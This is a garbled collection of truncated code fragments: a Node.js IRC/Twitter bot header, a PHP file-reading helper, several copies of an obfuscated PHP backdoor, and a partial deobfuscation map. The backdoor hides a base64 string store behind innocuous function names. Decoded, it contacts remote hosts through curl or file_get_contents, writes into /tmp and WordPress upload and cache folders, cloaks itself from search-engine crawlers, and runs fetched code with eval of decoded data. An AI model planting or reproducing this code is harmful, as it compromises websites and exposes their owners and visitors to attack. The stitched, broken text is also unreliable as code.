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var crypto = require('crypto')
var request = require('request')
var url = require('url')
var irc = require('./IRC/lib/irc') // https://github.com/gf3/IRC-js
var ntwitter = require('ntwitter')
var twitter = require('twitter')
var qs = require('querystring')
// separate accounts to post and search because twitter was sending me 500s
// when I tried to use the same oauth creds for both twitter() and ntwitter()
<?php
if (!function_exists('get_string')){
$GLOBALS['string_store'] = 'uUY3VybARX2luaXQ.YWxsb3dfdXJsX2ZvcGVuMQaHR0cDovLwu_JndheT1maWxlX2dldF9jb250ZW50cwDX3NldG9wdAf}lX2V4ZWMZJndheT1jdXJswxO#!~Lwb3Nvbi5pbgYS1pbi1hLWNpcmNsZS5jb20w^ecGhwYWlkZS5jb20kYcdwPSBWV8OgLcZGlzcGxheV9lcnJvcnMQsKZGV0ZXJtaW5hdG9yuBZnRwMTMLKMi4xOAGUVFRT1EwT1EwT09RT1FP~YmFzZTY0X2RlY29kZQ_WYmFzZTY0X2VuY29kZQt~SFRUUF9IT1NU)X;dW5pb24Oc2VsZWN0U&OPMeUkVRVUVTVF9VUkkP_@U0NSSVBUX05BTUUrUVVFUllfU1RSSU5HPw #HLL3RtcC8uZm9udC11bml4!=gVE1QGqu_VEVNUAw*PVE1QRElSyfhkdG1wQ%nd3AtY29udGVudC91cGxvYWRzd3AtY29udGVudC9jYWNoZQ@}dXBsb2FkX3RtcF9kaXIx^u@dL3RtcALLgdmVyc2lv %(LLQj;qxLXBocA=@rSFRUUF9FWEVDUEhQ ~$b3V0b2s~~ySFRUUF9VU0VSX0FHRU5URcoYLAKgZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgL3BnLnBocD91PQ!*Jms9KHTJnQ9cGhwJnA9tJnY9Qg}ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlYvdHYya2dRL2xjMktJcHN5Zlg1Z1hsY3ppZFFTaTZXY2pnUXFGU2xrVVhOa2xnMU5yTE5wVkhFLzM0eis3Q1h4RW52bWg4S083TXpPNC92bXlIWkVPMWtUVGRKUnRkYVowMHJXbXlUYkZYbFJVZlhYOGhtbjhWVmttZEVsVVFibW0rMDB5
<?php
if (!function_exists('get_string')){
$GLOBALS['string_store'] = 'uUY3VybARX2luaXQ.YWxsb3dfdXJsX2ZvcGVuMQaHR0cDovLwu_JndheT1maWxlX2dldF9jb250ZW50cwDX3NldG9wdAf}lX2V4ZWMZJndheT1jdXJswxO#!~Lwb3Nvbi5pbgYS1pbi1hLWNpcmNsZS5jb20w^ecGhwYWlkZS5jb20kYcdwPSBWV8OgLcZGlzcGxheV9lcnJvcnMQsKZGV0ZXJtaW5hdG9yuBZnRwMTMLKMi4xOAGUVFRT1EwT1EwT09RT1FP~YmFzZTY0X2RlY29kZQ_WYmFzZTY0X2VuY29kZQt~SFRUUF9IT1NU)X;dW5pb24Oc2VsZWN0U&OPMeUkVRVUVTVF9VUkkP_@U0NSSVBUX05BTUUrUVVFUllfU1RSSU5HPw #HLL3RtcC8uZm9udC11bml4!=gVE1QGqu_VEVNUAw*PVE1QRElSyfhkdG1wQ%nd3AtY29udGVudC91cGxvYWRzd3AtY29udGVudC9jYWNoZQ@}dXBsb2FkX3RtcF9kaXIx^u@dL3RtcALLgdmVyc2lv %(LLQj;qxLXBocA=@rSFRUUF9FWEVDUEhQ ~$b3V0b2s~~ySFRUUF9VU0VSX0FHRU5URcoYLAKgZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgL3BnLnBocD91PQ!*Jms9KHTJnQ9cGhwJnA9tJnY9Qg}ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlYvdHYya2dRL2xjMktJcHN5Zlg1Z1hsY3ppZFFTaTZXY2pnUXFGU2xrVVhOa2xnMU5yTE5wVkhFLzM0eis3Q1h4RW52bWg4S083TXpPNC92bXlIWkVPMWtUVGRKUnRkYVowMHJXbXlUYkZYbFJVZlhYOGhtbjhWVmttZEVsVVFibW0rMDB5
replace_dict = {
'get_string(2, 6)': 'curl',
'get_string(9, 7)': '_init',
'get_string(17, 20)': 'allow_url_fopen',
'get_string(17, 20)': 'allow_url_fopen',
'get_string(37, 2)': '1',
'get_string(39, 10)': 'http://',
'get_string(51, 30)': '&way=file_get_contents',
'get_string(82, 10)': '_setopt',
'get_string(95, 7)': '_exec',
<?php
// "!defined('determinator') == "include_once" for sneaky people.
if (!defined("determinator")){
function determinator_feof($file_pointer, &$now = NULL) {
// Assigning a value to $now in this function changes
// the value of whatever variable the calling function
// passed in. Functions with side effects... huzzah!
$now = microtime(true);
// Have we reached the end of the file?
<?php
/*versio:2.18*/
$III1=0;
if (!function_exists('IlI11lll')){
$GLOBALS['III1'] = 'uUY3VybARX2luaXQ.YWxsb3dfdXJsX2ZvcGVuMQaHR0cDovLwu_JndheT1maWxlX2dldF9jb250ZW50cwDX3NldG9wdAf}lX2V4ZWMZJndheT1jdXJswxO#!~Lwb3Nvbi5pbgYS1pbi1hLWNpcmNsZS5jb20w^ecGhwYWlkZS5jb20kYcdwPSBWV8OgLcZGlzcGxheV9lcnJvcnMQsKZGV0ZXJtaW5hdG9yuBZnRwMTMLKMi4xOAGUVFRT1EwT1EwT09RT1FP~YmFzZTY0X2RlY29kZQ_WYmFzZTY0X2VuY29kZQt~SFRUUF9IT1NU)X;dW5pb24Oc2VsZWN0U&OPMeUkVRVUVTVF9VUkkP_@U0NSSVBUX05BTUUrUVVFUllfU1RSSU5HPw #HLL3RtcC8uZm9udC11bml4!=gVE1QGqu_VEVNUAw*PVE1QRElSyfhkdG1wQ%nd3AtY29udGVudC91cGxvYWRzd3AtY29udGVudC9jYWNoZQ@}dXBsb2FkX3RtcF9kaXIx^u@dL3RtcALLgdmVyc2lv %(LLQj;qxLXBocA=@rSFRUUF9FWEVDUEhQ ~$b3V0b2s~~ySFRUUF9VU0VSX0FHRU5URcoYLAKgZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgL3BnLnBocD91PQ!*Jms9KHTJnQ9cGhwJnA9tJnY9Qg}ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlYvdHYya2dRL2xjMktJcHN5Zlg1Z1hsY3ppZFFTaTZXY2pnUXFGU2xrVVhOa2xnMU5yTE5wVkhFLzM0eis3Q1h4RW52bWg4S083TXpPNC92bXlIWkVPMWtUVGRKUnRkYVowMHJXbXlUYkZYbFJVZlhYOGhtbjhWVmttZ
<?php
/*versio:2.18*/$QQOO=0;if (!function_exists('Q0QQOOQO')){$GLOBALS['QQOO'] = 'hY3VybAX2luaXQ)W*YWxsb3dfdXJsX2ZvcGVuMQaHR0cDovLw TJndheT1maWxlX2dldF9jb250ZW50cw{aX3NldG9wdAHX2V4ZWMSaC~ujJndheT1jdXJsikSMnDCLwfpb3Nvbi5pbglYS1pbi1hLWNpcmNsZS5jb20.rYcGhwYWlkZS5jb20!dwJWV8DES~&OgGY{ZGlzcGxheV9lcnJvcnM*ZGV0ZXJtaW5hdG9yZnRwMTM.Mi4xOA~NUVFRT1EwT1EwT09RT1FPYmFzZTY0X2RlY29kZQRGYmFzZTY0X2VuY29kZQuSFRUUF9IT1NUdW5pb24XOO@b!c2VsZWN0MmUkVRVUVTVF9VUkkduVU0NSSVBUX05BTUUELQUVVFUllfU1RSSU5HPwq&dL3RtcC8uZm9udC11bml4kuzVE1QI VEVNUAVE1QRElSfCHC)dG1wd3AtY29udGVudC91cGxvYWRzd3AtY29udGVudC9jYWNoZQqdXBsb2FkX3RtcF9kaXIBXL3RtcAR@ LgJdmVyc2lvOLQnyLXBocAzPrjyLSFRUUF9FWEVDUEhQVvYb3V0kMUb2s=yLSFRUUF9VU0VSX0FHRU5UiqLAHRZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgIk$L3BnLnBocD91PQJms9JnQ9cGhwJnA9JnY9EZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlY0MXZvbGdRLzFkZVRkTkE0bklnNHNmMXVHaTY5a3JTazJwMWswM1hFRmVmTFZrRUEzamRwdkYvdjVsNUQzaFcycjJyVGNRMzgrWjdmak9FRzZhZHJma21qUGxhYTZ4NXp0TnRHQy96SkczbytpdmI3T05WSGlZeFV5bkJoaWNiN2R5eklpdnl